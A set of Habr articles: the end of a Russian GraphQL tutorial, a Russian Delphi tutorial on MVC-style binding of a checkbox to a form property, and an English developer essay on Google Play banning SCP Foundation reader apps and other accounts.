Если вы уже знакомы с Next.js и React, этот пример позволит вам настроить GraphQL endpoint при помощи Graphcool и затем отправлять ей запросы при помощи Apollo.
### [VulcanJS](http://docs.vulcanjs.org/)
[Учебник Vulcan *(англ)*](http://docs.vulcanjs.org/) поможет вам создать простой слой данных GraphQL на сервере и на клиенте. Поскольку Vulcan является платформой "все-в-одном", это хороший способ начать работу без каких-либо настроек. Если вам нужна помощь, не стесняйтесь [обратиться в наш канал Slack *(англ)*](http://slack.vulcanjs.org/)!
### [Учебник GraphQL & React](https://blog.hichroma.com/graphql-react-tutorial-part-1-6-d0691af25858#.o54ygcruh)
В блоге Chroma есть [руководство из шести частей *(англ)*](https://blog.hichroma.com/graphql-react-tutorial-part-1-6-d0691af25858#.o54ygcruh) по созданию приложения React/GraphQL используя компоненто-ориентированный подход к разработке.
Заключение
==========
GraphQL поначалу может показаться сложным, потому что это технология, которая затрагивает многие области современной разработки. Но уделив время чтобы понять основные концепции, я думаю вы поймёте что многое из этого имеет смысл.
Решите ли вы использовать это или нет, я считаю что стоит потратить время чтобы ознакомиться с GraphQL. Все больше и больше компаний и структур начинают использовать его, и он вполне может в течение следующих нескольких лет стать одним из ключевых строительных блоков в веб-разработке.
Согласны? Не согласны? Вопросы? Дайте мне знать, здесь в комментариях. | https://habr.com/ru/post/326986/ | null | ru | null |
# MVC-подход к разработке пользовательских интерфейсов в Delphi. Часть 1. Галочка
Не буду писать красивых предисловий, потому что статья не развлекательная, а скорее техническая. В ней я хочу обратиться к приемам программирования пользовательского интерфейса классических desktop-приложений Delphi в MVC-стиле. Это вводная статья из последующей серии.
Тех немногих, кто еще пользуется этой средой разработки, прошу под кат.
Под классическими приложениями я подразумеваю десктопные GUI-приложения для Windows на основе VCL. Про фреймворк FireMonkey, появившийся в новых версиях Delphi, пусть напишет статью кто-нибудь другой.
Пользовательские интерфейсы очень многообразны. И если в вебе их вообще полный зверинец, то в настольных приложениях все происходит более консервативно. Конечно, разработчики некоторых приложений (см. Skype, Mikogo, Office 2010) продолжают придумывать всяческие визуальные ухищрения, которые призваны еще более повысить удобство использования, для большинства из нас (людей старой закалки) все-таки привычнее стандартные Windows и VCL контролы, придуманные, наверное, еще во времена Windows 3.1:
— кнопка (TButton)
— галочка (TCheckBox)
— переключатель (радиокнопка, TRadioButton)
— однострочное поле ввода (TEdit)
— многострочное поле ввода (TMemo или TRichEdit)
— всяческие комбинированные контролы (TSpinEdit, TDateTimeEdit)
— многостраничные контролы (TPageControl, TTabControl)
— гриды
— панели, групбоксы, бевелы, шейпы, ImageBox'ы и т.д.
Основная задача при создании пользовательского интерфейса придумать такое представление внутренних данных программы с помощью вышеназванных элементов, чтобы пользователю было удобно с этими данными работать. Ну или с другой стороны, придумать такой набор элементов, с помощью которого пользователь мог бы сказать программе то, что программа от него должна услышать.
Проектирование интерфейса с точки зрения компоновки элементов это уже само по себе является довольно сложной и важной задачей. Интерфейс — это лицо и основной способ по взаимодействию пользователя с вашей программой (не считая ее снятия по Ctrl+Alt+Del :) ). Именно поэтому нужно всегда заниматься проектированием интерфейса итеративно, получая каждый раз фидбэк от юзеров, удобно ли им работать с вашей программой, не приходится ли по 200 раз кликать мышкой, заходить во вложенные окна (которые в последний момент оказываются еще и модальными), по 10 раз вводить одни и те же данные из-за того, что они не сохраняются при повторном входе в окно и т.д. и т.п. (я уверен, искушенный читатель может привести еще массу примеров, каким не должен быть пользовательский интерфейс :) ).
Говорят, что умные ребята за океаном, которые подходят к проектированию интерфейсов серьезно и обстоятельно, применяют и такие технологии, как отслеживание движений мыши при работе с программой (чтобы зря не возили туда обратно), подсчет кликов и даже слежение за направлением взгляда пользователя (если глаза начинают бегать в случайных направлениях, это уже должно настораживать).
Но в данной статье речь пойдет не об этих чудесах. Я позволю себе предположить, что вы уже придумали, как будет выглядеть то или иное окно. Вам лишь нужно как-то связать это представление с внутренними данными программы. И именно о способах этой связи я хотел бы поговорить.
##### Начнем с примитива. Галочка.
Предположим, у вас в какой-то окне есть галочка (TCheckBox), отражающая выбор одного из двух вариантов. Чтобы говорить не о сферических конях в вакууме, придадим ей какой-то смысл. Пусть это будет окно импорта каких-то данных из файлов определенного каталога в базу данных. Галочка будет отражать, нужно ли удалять импортированные файлы после завершения операции. Тогда так и назовем нашу галочку
```
cbNeedDeleteFiles: TCheckBox;
```
Кстати, давать префиксы именам контролов на основе типа контрола очень удобно. Например, cb для TCheckBox, rb для TRadioButton, bt для TButton. Если вы установите в Delphi пакет расширений [cnPack](http://www.cnpack.org), то при размещении очередного контрола на форме будет выскакивать окошечко с предложением сразу переименовать этот контрол в соответствии с вашими правилами. Это позволяет избежать засилья валяющихся на форме Button87, CheckBox32 и т.п.
Как правило, после размещения контрола в нужном месте формы программист вздыхает с облегчением и успокаивается. Теперь он может из любого места программы обращаться к cbNeedDeleteFiles.Checked, чтобы узнать, выставлена галочка или нет. Вероятно, обращаться к свойству Checked программист будет не в единственном месте: при создании окна он может захотеть выставить умолчальное состояние данного свойства или сохраненное его значение, затем в основном месте (где выполняется импорт) нужно снова проверить этот атрибут, и, наконец, можно куда-то сохранить значение этого атрибута при закрытии окна, чтобы восстановить состояние галочки при следующем открытии окна. Также может потребоваться программно изменять значение этого атрибута на основе каких-то других условий. Например, пользователь может попросить, чтобы данная галочка всегда выставлялась автоматически при выборе каталога со входными файлами, если в данном каталоге содержатся только файлы одного строго определенного типа или если имена всех файлов каталога удовлетворяют определенной маске. И вот, в куче мест программы у нас появляется что-то подобное:
```
if cbNeedDeleteFiles.Checked then ...
if Something then
cbNeedDeleteFiles.Checked := True;
if SomethingElse then
cbNeedDeleteFiles.Checked := False;
```
На первый взгляд ничего плохого тут нет. Но как показывает многолетняя практика, это УЖАСНО. Это и называется жесткой завязкой кода на пользовательский интерфейс. Допустим, впоследствии вам придется заменить TCheckBox на две радиокнопки: «Удалить импортированные файлы» и «Не удалять импортированние файлы». В этом не очень много смысла, но вы можете это сделать для лучшей визуализации или в рамках рефакторинга перед добавлением третьего состояния данной настройки типа «Удалить файлы только при отсутствии ошибок импорта». И в этот момент вам придется в куче мест, где раньше вы обращались к cbNeedDeleteFiles.Checked вставить какой-то код по работе с RadioButton'ами.
##### Как этого избежать?
В сети давно и много трубят про [MVC](http://ru.wikipedia.org/wiki/MVC), [MVP](http://ru.wikipedia.org/wiki/Model-View-Presenter), [MVVM](http://ru.wikipedia.org/wiki/MVVM). Будто это такие чудодейственные методики, следуя которым можно запрограммировать пользовательский интерфейс «правильно» и не иметь того гемора, который описан выше. На самом деле это лишь подходы, которые действительно помогают, но которые можно реализовать абсолютно по-разному в разных языках программирования и даже в одном языке. Т.е. это скорее советы, с какой стороны лучше подходить к программированию пользовательского интерфейса.
Если еще раз посмотреть на аббревиатуры, то видно, что во всех трех есть буквы M (Model, модель) и V (View, представление). Если говорить очень простым языком, то модель — это внутренние данные программы, а представление — внешние (пользовательский интерфейс). Возвращаясь к галочке, очевидно, что внутренним преставлением данной галочки является булево значение. Решение о том, в атрибуте какого класса должно храниться это значение принимается в каждом конкретном случае индивидуально. Например, это может быть класс TConfig, предоставляющий доступ к настройкам программы. Однако в простых случаях вполне достаточно создать соответствующий атрибут просто у класса формы:
```
TfmImport = class(TForm)
...
private
...
FNeedDeleteFiles: Boolean;
public
...
property NeedDeleteFiles: Boolean read FNeedDeleteFiles write SetNeedDeleteFiles;
end;
```
Далее необходимо связать состояние свойства NeedDeleteFiles с состоянием визуального компонента (TCheckBox'а) cbNeedDeleteFiles. Это удобно сделать через set метод свойства:
```
procedure TfmImport.SetNeedDeleteFiles(const Value: Boolean);
begin
if FNeedDeleteFiles <> Value then
begin
FNeedDeleteFiles := Value;
cbNeedDeleteFiles.Checked := FNeedDeleteFiles;
end;
end;
```
Зачем нужно условие FNeedDeleteFiles <> Value я поясню чуть позже. Главное, что теперь при присвоении значения свойству NeedDeleteFiles у нас будет автоматически выставляться галочка (это уже почти модель MVC — мы меняем значение элемента модели, а представление изменяется автоматически). Но это связь лишь в одну сторону — от внутренних данных к интерфейсу. Нужно еще добиться обратной связи — от представления (т.е. от галочки) к модели. Для этого в обработчике OnClick нашего чекбокса напишем такой код:
```
procedure TfmImport.cbNeedDeleteFilesClick(Sender: TObject);
begin
NeedDeleteFiles := cbNeedDeleteFiles.Checked;
end;
```
Т.е. действие над предствлением (в данном случает щелчок по галочке) приведет модель в соответствие с текущим состянием представления. Однако модель никогда не доверяет представлению и поэтому вызовет повторное приведение состояния представления к состоянию модели (принудительно выставит cbNeedDeleteFiles.Checked := FNeedDeleteFiles. Ничего страшного при этом не произойдет. И мы даже дополнительно застраховались проверкой if FNeedDeleteFiles <> Value от ситуации, что визуальный контрол снова вызовет обработчик OnClick. На самом деле он этого не сделает, т.к. там стоит аналогичная проверка:
```
procedure TCustomCheckBox.SetChecked(Value: Boolean);
begin
if Value then
State := cbChecked
else
State := cbUnchecked;
end;
procedure TCustomCheckBox.SetState(Value: TCheckBoxState);
begin
if FState <> Value then
begin
FState := Value;
...
end;
end;
```
Теперь у нас состояние свойства TfmImport.NeedDeleteFiles синхронизировано с состоянием галки cbNeedDeleteFiles.Checked в обе стороны. Во всех местах программы, где мы раньше обращались к cbNeedDeleteFiles.Checked теперь следует обращаться к свойству NeedDeleteFiles. Это позволяет нам полностью забыть о том, что представлением элемента NeedDeleteFiles является CheckBox. Вы даже не представляете, насколько это замечательно. Впоследствии мы можем заменить CheckBox на две радиокнопки или на что угодно и переписать нужно будет только set-метод SetNeedDeleteFiles (направление Model -> View) и обработчик, срабатывающий при изменении состояния представления, т.е. визульных компонентов (направление View -> Model).
Я пропустил такой важный момент как первоначальную синхронизацию значения свойства NeedDeleteFiles с состоянием визуального компонента. Конечно, если при открытии окна ваша галка будет либо всегда выставлена, либо всегда снята, можно просто выставить правильное состояние в DesignTime, а соответствующее значение полю FNeedDeleteFiles присвоить в OnCreate класса формы. Однако это не очень надежно (за этим надо следить, легко допустить расхождение), поэтому в OnCreate у класса формы лучше разместить следующий код:
```
procedure TfmImport.FormCreate(Sender: TObject);
begin
FNeedDeleteFiles := False; // Намеренно присваиваю значение, отличающееся от того, которое хочу задать, чтобы сработал set-метод
NeedDeleteFiles := True; // Тут сработает set-метод и синхронизирует GUI с присвоенным значением (выставит галочку)
end;
```
В следующей части статьи я постараюсь рассказать о более сложных случаях: работе в MVC-стиле со списками элементов (TListBox, TCheckListBox, TComboBox) и о подводных камнях при запоминании состояния визуальных элементов окна при его закрытии.
**UPD.** Добавлена [вторая часть статьи](http://habrahabr.ru/post/147198/)
**UPD.** Добавлена [третья часть статьи](http://habrahabr.ru/post/147466/) | https://habr.com/ru/post/147133/ | null | ru | null |
# Android, Google and free content licenses. Who is to blame and what can be done?
#### The story of another ban.
Have you heard about bans on apps and developers in Google Play? This is just such a story. It’s also an attempt to collect similar cases into one place and offer some kind of plan of action to prevent Google’s unpredictable actions. It isn’t fair to be banned for the legal use of free material. Personally, I like the idea of content licenses such as [CC BY-SA](https://creativecommons.org/licenses/by-sa/4.0/), which permits any use, including commercial. Thanks to such licenses, we developers have websites like StackOverflow, where I’ve been elected to be the [moderator](https://ru.stackoverflow.com/users/17609/). Unfortunately, companies like Google don’t respect the ideas behind these licenses. Here's my story.
It all started out fine. Our app for Android was created back in 2014 and had been living quite a normal life on Google Play. The app was a client to a site with texts. Nothing special, but people liked it, especially the option to download texts to the device and read them without the Internet. The app took the texts from <http://scpfoundation.net/>. It’s a website for joint literary creativity within a common fictional universe, quite well-known in some circles. Originally it appeared in the US (<http://www.scp-wiki.net).Then> their community translated thousands of articles from English into over 10 other languages. For posterity, it is important that all the content on the sites, the original and the translated ones, is distributed under a free Creative [Commons Attribution-ShareAlike 3.0 License](http://creativecommons.org/licenses/by-sa/3.0/), which is located at the bottom of each page. This also applies to the logo of the website indicating the license, as seen here: <https://en.m.wikipedia.org/wiki/File:SCP_Foundation_> (emblem).svg on Wikipedia. The license permits any use of the material, including for commercial purposes, requiring only the indication of authorship and preservation of the original license in derivative works. This information, the source of the texts with license indication, was in both the description of the apps and in the apps themselves.
For several years everything was running normally. Initially, it was decided to make all the features of the app free and to provide the possibility of voluntary donations through in-app subscriptions. However, it hardly brought in any profit at all. As a result, it was decided to monetize the most popular features of the app, compensating for the inconvenience to users by opening the [source code](https://github.com/mohaxspb/ScpFoundationCore). We also started to release versions for languages other than Russian. The original Russian version of the app even got into the top 10 of the "news and magazines" category of Google Play. While working on this project, I sort of taught myself programming, I tried new things, I made mistakes and I learned a lot. The important thing for this article is the development process. It was necessary to parse HTML on the server and then send it through API to all the sites with translations, instead of doing a separate app for each language with parsing on the client. I know this now, but 5 years ago I had very little idea of how to write servers. At the time, it didn't make much sense to me. My thinking was that if it ain’t broke, don’t fix it. Now I write API and plan to go onto iOS and hopefully one day return to Google Play.
Then the warning lights started flashing, one after another. First Google Play began to reject new apps for copyright infringement. It was the same code, but for a site in a different language. I believe the new versions started to get rejected in the summer of 2017. However, each time it was possible to solve the issue by contacting their technical support service, which even suggested a [special form](https://support.google.com/googleplay/android-developer/answer/6320428?hl=en), in which you can notify Google of the release of a new app by sending them any files needed. In my case, all I had to do was provide a link to the website and state that there was a license at the bottom that allowed the use of the content. After that, Google sent a letter saying that everything was okay. We were free to spread it and they had saved our information. But apps also got deleted (I’ll talk later about the difference between removal and blocking).They’d be deleted for things like mentioning the names of other apps in the description, in particular, the name of one of the games based on the site. In theory, the license should allow it. But okay, I'm not a lawyer, maybe Google was right, and we just had to clean up what they didn’t like and move on. But then they started removing apps due to the lack of privacy policy and processing of personal data. We were not alone in this situation. The problem was extensive. It seemed to have started around 2018.The network had several generators with such agreements, which were just enough to put on the website and add a link to the description of the app. Then there was Appodeal, where the app was removed due to problems in their SDK. But my mistake was that I had used the beta version, and Appodeal honestly warned about this problem the day before removal. I just had to update the SDK to the latest stable version, but I didn’t manage to up it in time.
Then things started going wrong with Google Play’s app checks. I tried to release an update with a new version of Appodeal SDK. It was rejected for the same reason. On reflection, I decided that it was easier to just remove SDK, replacing its functionality (it was used for advertising with rewards) with similar functions from AdMob. Do you think it helped? I don’t think so! This update was also rejected. But I'm a programmer. I'm cunning. I bypassed this bug on Google Play simply and gracefully. I posted an update in the form of an alpha version and raised it to the working version. And everything was fine. For a while.
Then there was the time that our apps were removed because of violations of their advertising rules. As always, no examples, just a link to the voluminous rules for developers. After talking with their technical support service, I managed to find out that Google saw a problem with the links to my other apps in Google Play, which was just a list of similar apps in other languages. I mean, come on, I can’t give links to my own apps on the same platform? Okay Google, if you want it that bad. Here you go. I released an update with "Ad " over each button-link. Problem solved.
Then I got a letter stating, "After a recent review, SCP Foundation France On/Offline database fr (ru.dante.scpfoundation.fr) has been removed from Google Play." The French version of the app got banned. The reason given was, of all things, "Violation of Sexually Explicit Content policy." And again, nothing was said about what exactly Google had found objectionable. Perhaps, if you search really thoroughly amongst the thousands of texts, you might have found a couple of provocative images. Well, I didn’t lose heart. Google probably knows what it's doing and I'm the one to blame. I put up with the loss of the app. It had a few users, but its loss didn’t set us back too much. I began to update the rest of the apps, disabling of all images. At the same time, I began to look for information on app bans on the Internet. And then I started to suspect that this was not an accident. I wasn’t the only one in this situation. It turned out that the network has many examples of app bans and even accounts bans.
Let’s digress and talk about the moderation system in Google Play. There are two or three types of sanctions against apps, depending on what you count. First, your app can be "Removed." In this case, the app will not be available for search and download on Google Play, but you have access to it in the developer console and can release an update with fixes. This is not considered a serious violation and does not affect the status of the account. A subset of this is “Update Rejection.” In this case, the app is available for search and installation through Google Play, however, you should make changes to the planned update, as it violates something — something in the current form. Like in the first case, it does not affect the status of the account and nothing threatens you except for spoiling the mood and having some extra work to do. The last type of sanction is really bad. It’s called "Suspended" and if you see a letter from Google with this word, prepare for the worst. The app isn’t just removed from Google Play, it’s removed permanently, with a ban on updating and even viewing the description, statistics and reviews in the developer console. The scary thing here isn’t that Google makes you release a new version with a new package and re-recruit users, reviews, paying audience and explain to the users of the deleted version why everything stopped working. The scary thing is that you’ve got a label on you and the timer has started. Now you are an unreliable developer. Some people say that strikes get "rotten" after about six months. If get two more "Suspended " apps, you automatically cease to be an independent Android developer forever. Google [explicitly prohibits](https://support.google.com/googleplay/android-developer/answer/9023898?hl=en) the creation of a new developer account after the ban of the existing one and, given the market share of Google Play, the ban deprives the developer of a lot market access.
Okay, back to the main plot. About three weeks later after the aforementioned app bans, I was at another meetup listening to some reports. And then I get two messages from Google. That's right, two more apps were banned. But this time, the two main ones, the Russian and the English versions. My first thought was, "Damn, I didn’t have time to release the update with the pictures disabled." But that wasn’t the reason. Here is a quote from the letter: "After review, SCP Foundation EN Database On / Offline, ru.dante.scpfoundation.eng, has been suspended and removed from Google Play as a strike policy because it violates the impersonation policy." In other words, Google decided that I was impersonating another person and using someone else's brand without permission. And here's the weird thing, all apps with "SCP Foundation" in their name were removed from the store. Except the ones I posted later, notifying Google of a free content license through the form I mentioned above. And not only were my apps removed, but other developers' apps were as well, about ten or more. I didn’t count them at the time, so I don’t know how many were removed and how many developers discovered that years of their work were thrown into a landfill by Google and their robots. Now you can’t find any apps with "SCP Foundation" in their name in Google Play, which implies that none of them managed to resolve the situation with Google.
In this case, I immediately issued appeals for both apps. I wrote that the apps use content under a free license and gave them links to the site where this is clearly written. However, in response, they wrote the following:
> For example, your app currently creates an unclear affiliation with SCP Foundation (<http://www.scp-wiki.net/>).
>
> If you are authorized by the site creator/content owner to redistribute the content in this manner, please reply this mail with verifiable documentation of content with the following examples: distribution agreement, authorization contract, or website domain ownership (PDF file).
>
> Kindly note that you may ask the content owner to reply for this email from a verifiable domain (@scpwiki.org) indicating your rights to use their brand asset and content.
That means that they want me to provide them with documents confirming my right to use the content and the brand, as I understand it, both the name and the icon. They also needed the documents in the form of a response to this letter from the mail server of the site. In addition, for the Russian and English versions, they had two different domains in mind, one of which is a mirror of the second, although the Russian version did not take anything at all from these sites. They didn’t care about the presence of a free license for content that allows its use, as they never even mentioning it. Although in other apps it was enough, going by the fact that other similar apps have not been removed. Okay Google, I tried to comply with this requirement of yours. I went on scp-wiki.net’s private messaging system(like other sites with translations, it works on the Wikidot engine) and I wrote to other local administrators dealing with issues related to their content licenses. In the “Help” section of the site, it was written that they answer within a day. The first admin didn't answer me, I wrote the other one, then another, then another. I was answered by deathly silence. But I didn’t give up. Although the first panic attacks began to occur, I still hoped for a solution to the problem within a week or two. Thinking about how many subscriptions to users would be canceled in this time, I browsed the net looking for information on how to make a document that the site administrators can send to Google. It looked like [this](https://scpfoundation.app/scp/reader/Authorization%20contract.pdf). Meanwhile, I wrote a newsletter to our users through FCM, describing the situation. With that, I built a simple [page on the site](https://scpfoundation.app/scp/gp-problem/).
One more digression. Let me tell you about the recent scandal in the SCP Foundation community related to content licensing, copyrights, threats, revelations and other things. I don’t know if this stems from blocking apps. I’ll just give you a list of facts and you can draw your own conclusions. It went more or less like this:
1. An individual registered the [trademark](https://onlinepatent.ru/trademarks/661748/) (hereinafter TM) on the name and logo of "SCP Foundation"
2. Using this document, he began to remove videos from YouTube, communities in VK selling attributes, to demand deductions from sales.
3. The victims appealed to the administrators of the Russian website.
4. Admins released a [long text](https://vk.com/@scpfoundation-oficialnaya-poziciya-scp-foundation-po-otnosheniu-k-proektu), in both Russian and English, explaining the situation and the rights of content use under a free license.
I know this individual. We’d worked together for some time, mutually advertising his artbooks and our app. But at one point we had a misunderstanding about the details of our agreement which resulted in a rather unpleasant conversation. Fortunately, we managed to resolve it. However during the conversation there were [direct threats](https://vk.com/@scp_foundation_app-po-povodu-situacii-s-artscp) to remove the apps from the Google store due to the use of the TM.
This case was in December 2018. And blocking all apps with "SCP Foundation" in their name occurred at the end of March. After two weeks, my developer account was blocked. Apparently, this was due to the fact that I had not received a response from the administrators of the English site and already had had three strikes on the account. The next day, the owner of the TM [presented](https://vk.com/wall-98801766_20601) his own analogue version of our app. Everything seemed to check out and the reason for the block was clear. However, in a personal conversation with the owner of the TM, he denied my assumptions about his involvement and announced his intention to withdraw the TM. Google also refused to confirm my suspicions, ignoring my questions to technical support about any claims of copyright holders and the name and logo of the apps, insisting on the connection with the original site. You can decide if there is any connection.
**Update:** After I started writing this article, the situation with the TM has worsened. He began to [block communities](https://vk.com/scpfanpage?w=wall-53433582_114082) in VK with its help and [withdrew board games](https://www.mirf.ru/news/osnovatel-artscp-prigrozil-zakryt-soobschestva-po-scp-prodolzhayuschie-proyavlyat-negativ-k-proektu) from the market. The administrators of the Russian site [released a post](https://vk.com/wall-53433582_113247) explaining the situation and reporting that the court documents for the app were almost ready. They were also supported by the original website, which started [collecting donations](https://www.reddit.com/r/SCP/comments/dvbktk/the_scp_wiki_is_under_attack/) for legal expenses. As a result, the site administrators [wrote](https://vk.com/scpfanpage?w=wall-53433582_117344) a statement to the Russian Federal Antimonopoly Service. It’s also worth mentioning the position of the technical support service of VK: they completely ignored any indication of the license and ban on the communities.
But let’s get back to Google. At some point I realized that there was only one way to win back the account and apps and that was to contact the admins of the original site and ask them to send an email with the ready-made document. Nothing could be easier, right? Initially, I had my doubts. Going by what I had known about the site and its administration system, they might not have their own mail server or even a desire to help me. But those were only my fears. And the task was so simple. I just had to contact them. But that turned out to be the biggest problem. No one answered my personal messages. And when one of the admins did finally answer, he said that he was busy and would answer later. Four (!) months later, I managed to get through to the administration, which said that I was not alone in this predicament. They have tried to help others with this and failed. Google just doesn't want to hear them. And they do not have their own mail server, so there is no technical possibility to send the letter I need. So the circle has been closed.
#### Am I the only one?
Is this an isolated case? As I’ve mentioned above, no, it’s not. You can see for yourself by searching the web or visiting my website (<https://dont-play-with-google.com/>). I created it specifically to collect articles about cases of blocking apps and accounts in Google Play. Some of the articles on the site were translated into Russian, English and French with the help of my friends. Keep in mind that we are not professional translators and many articles are translated automatically and only slightly corrected. It is also possible to add new articles and translations into other languages. If you have links to other blocking cases, please, add them to the site as people should know. If you want to help the site, you can translate articles, correct typos or just code. The site consists of server and client sections. BackEnd is made on Spring (Gradle, Kotlin, Postgresql): <https://github.com/mohaxspb/dont-play-with-gp-api>. FrontEnd — Angular (TypeScript): <https://github.com/mohaxspb/dont-play-with-gp-front>. Don’t judge the code too harshly as I specialize on Android. It's funny that in the process of creating the site I even had to edit the Angular compiler (<https://github.com/angular/angular/pull/32760>). PullRequests are welcomed on any subject either bugs or new opportunities. The list of tasks for the site’s functionality can be found in [Trello](https://trello.com/b/QLJ7W75S/dont-play-with-google-play).
Here are just a few examples of absurd app and account bans:
* Bans of apps for copyright, such as mentioning the brand in the text of the description, and the subsequent ban of the account for connection with another account. Google won’t even explain and it’s impossible to restore anything. The account was used for disabled children's apps. (<https://dont-play-with-google.com/#/article/49>)
* Sometimes accounts are banned just by accident. They apologize and restore it. Obviously there are robots involved. (<https://dont-play-with-google.com/#/article/54>)
* First the app, then the account was banned. Robots answer in the technical support service, but no details are given. After a post on Medium, a real person from Google saw the problem and the account was restored. Although they refused to reveal the reason for the ban. Take-home message: only the hype in the mass media helps in such situations. <https://dont-play-with-google.com/#/article/52>
* The developer changed the name of his account to "Android app store" and got banned in just four seconds. Technical support reacted to his appeal. As always, no explanation. On the other channel they claimed that the name was legal. Take-home message: you won’t be given any warnings. You will be banned by bots and there’s nothing you can do about it. <https://dont-play-with-google.com/#/article/66>
+ An account was banned for "Previous violations," even though there weren’t any. Technical support kept silent as usual. <https://dont-play-with-google.com/#/article/65>
* An account for a company was banned for connection with another account. As it turned out, a colleague of this article’s author was banned for intellectual property rights. For this link, the author was banned, as was the company’s account where he worked. Once again, hype seemed to help to restore the account for the company, but not for the author or his colleagues. <https://dont-play-with-google.com/#/article/64>
* Banning multiple apps for being "Misleading". Well, just ban the account once. Appeals led to nothing. However, after attention in the media, Google changed its mind, withdrew all claims and restored the apps with the account. Take-home message: only public complaint on the net works, and even the innocent can be banned. <https://dont-play-with-google.com/#/article/67>
* Apps are banned for violation of the TM. (<https://habr.com/ru/post/435702/>). Despite the fact that actually everything is legal under the law (<https://dont-play-with-google.com/#/article/14>).
* There are many more examples, but I’m not here to list them all.
In all these cases, the bans occur suddenly. The developer doesn’t receive any warnings. In many cases, one can avoid getting their ban apps or accounts banned simply by changing one line in the name of the app (as in my case) or the name of the account (as in a case from the list above). However, instead of a warning with a proposal to correct the violation, you’re just banned. And technical support either doesn’t want to help you or demands unnecessary documents. I even had a case in which an automatic email from Google about a problem with the app contained broken links. Also, there are never any specifics in automatic letters, only the indication of the violated point of very vague rules and a reference to these rules. To at least get some hint to the cause of the ban, you need to contact the technical support service. And it doesn’t always give any details, like in the case of the ban of the associated account, thereby depriving you of any opportunity to do something. Here’s [another example](https://dont-play-with-google.com/#/article/55). A person got three bans on their app, all automatic. The first two bans were later canceled by technical support due to lack of violations, but the third ban appears not to be canceled.
The worst part is that there is absolutely no way to talk to a real person, only through forms with a promise of a response by mail within 72 hours. And the mail is rumored to be answered by outsourcers from India. I've no problem with that, but as for the quality of the technical support service, I think I’ve already said enough. Compare this with Google Ads technical support. They’re on the phone, in your native language, and they’ll tell you that you need to put a comma in the text and lower the age rating. And they’ll call back from a personal mobile number to check up on you. "Is your ad okay now?" I had the opportunity to compare the Google Play service and Google Ads. It's like night and day. But how did it happen? And does Google know about this issue?
Of course they do. They even have special webinars for developers to clarify the details of the moderation system, complete with tips on how to avoid getting banned. And they conduct them in the developer’s native language. And they [announce](https://habr.com/ru/company/google/blog/445180/) these webinars on major IT resources like habr.com, the largest Russian-language IT resource. However, if you look at the recording of the webinar, you’ll find that it was just someone reading a printout of the info available in Google Help. The Q&A was also just people reading from papers, with pre-prepared answers for prepared questions. It was all just to check a box. Google does not have any real desire to help developers. The video of the webinar has already been removed. It was [here](https://www.youtube.com/watch?v=8yKI-igsWVE). There was also a chat in which dozens of developers, including me, tried to ask questions about blocks on our accounts and apps. We were answered with links to their rules. We were so upset, we tried to organize a Telegram chat. If you are interested in talking to colleagues about similar unfortunate events, welcome to our chat: <https://t.me/android_developers_ban>.
On the other hand, in local markets, Google is trying to convince everyone how amazingly organized they are at helping developers launch, distributing and support apps. For example, you read about how well everything is organized. Google Play is constantly in touch, always willing to help with advice on any matter. Help with promotion, help in general, whatever you need. It’s not just any old technical support, it’s a [waking dream](https://dont-play-with-google.com/#/article/33). But when people went to the comments section and asked how to get this access in Google Play, they were all ignored. Obviously, it was just a promotional article designed to draw developers into the store.
#### Who's to blame?
How did it happen that the app store, which once allowed anyone put up any app of any quality without being afraid of it getting banned, has now turned into a place where you’re terrified to post an update or even have the app on your account. Some say that bots check and can ban even unpublished apps. And you can’t delete them if someone has the app installed. There are several reasons for that, as far as I understand:
* First there’s the maturing of the market. New major players interested in stable working moderation have come about. For example, to promptly remove forging apps. And it’s easier, and more importantly, cheaper, to have bots do it.
* For years, when most apps were downloaded in the store, it was simply impossible to manually check in a reasonable time and for reasonable pay. New apps and updates are published by the thousands every day.
* The abundance of users and the monopoly on them, together with the lack of rigid moderation used to attract a lot of dubious personalities to the store, resulting in viruses, spyware and so on. And it’s necessary to be protected from that stuff, and to constantly improve and protect the system.
* Also, a number of people abused the capabilities of the Google Play API. Here’s an [example](https://dont-play-with-google.com/#/article/60). A couple of people wrote a code that generates copies of simplistic games, changing only the name and pictures. The store was inundated with their games. They are not the only ones doing it because it’s cost-effective.
* Finally, there’s pressure from state regulators to comply with a variety of laws regarding intellectual property rights, personal data and other things.
My friends told me about companies involved in the creation of apps that just embed WebView, in order to redirect advertising traffic to users. Their only goal is to push their app in the store, one way or another, and earn at least some money. If the account is blocked, they simply switch to another one. They have a lot of tools to hide their digital tracks. They can avoid bans for linked accounts and there’s even a market for selling developer accounts formed around them. It’s clear that such abuses can be fought only with the help of robots. But the wrongdoers don’t get punished, they just buy a new account for a few dollars. While ordinary developers suffer from friendly fire and lose their apps forever. Their apps are often their only source of income. But maybe these are unavoidable losses. It’s just the unavoidable result of the reliable security we enjoy on Google Play. Unfortunately, no. There’s constantly news about dozens of new malwares, viruses and other things popping up. Google can't keep users or developers safe.
What conclusion can be drawn from all this? I’m sorry to say it, especially after so many years, but my conclusion seems to be that you can no longer consider Google Play to be a reliable platform for publishing apps. Or even as a platform where you can count on a reliable source of income. And the worst part is that there are simply no alternatives, unless you publish in China where Google is banned. And after your account is deleted, you might not be able to continue earning ad revenue while you're trying to recover it; unless, of course, as per Google’s advice, you use their advertising SDK from AdMob. As soon as your app and/or account is banned, advertising in AdMob immediately becomes disabled. And it doesn't work the other way around. If you manage to restore the app/account you will have to write to AdMob technical support to restore the advertising display. You can use other advertising SDKs, but with new risks. I’ve already described a case of the failure in Google Play due to the availability of the SDK from Appodeal. The latter, by the way, also requires an account in AdMob and an app in Google Play and will seriously limit the display of ads or disable them altogether in case of problems with Google.
As you can see, if you are going to build a serious business with distribution through Google Play, you need to be prepared for the fact that you might suddenly lose it all and your only hope is a possible hype in the media. Or you need to be a company the size of Facebook, then you will have the phone number of a manager at Google and you’ll be able to solve any problem quickly and easily. And you won’t be banned for the nude photos of your app users which they placed there themselves. But if you are not Facebook, you’ll just be [banned](https://magazine.artstation.com/2018/12/happened-artstation-android-app/), because you violated the rules. And in this case, the developers managed to [restore](https://magazine.artstation.com/2019/03/artstation-app-back/) the app. After 3 months! But we all know that such a situation simply doesn’t happen to large companies. As indicated in the first link, the ban was for a picture which was considered too racy for Google Play. However, the developers found the exact same picture in Twitch and other big apps. That means the rules are not only vague, but also do not apply to everyone. Some developers are “more equal” than others.
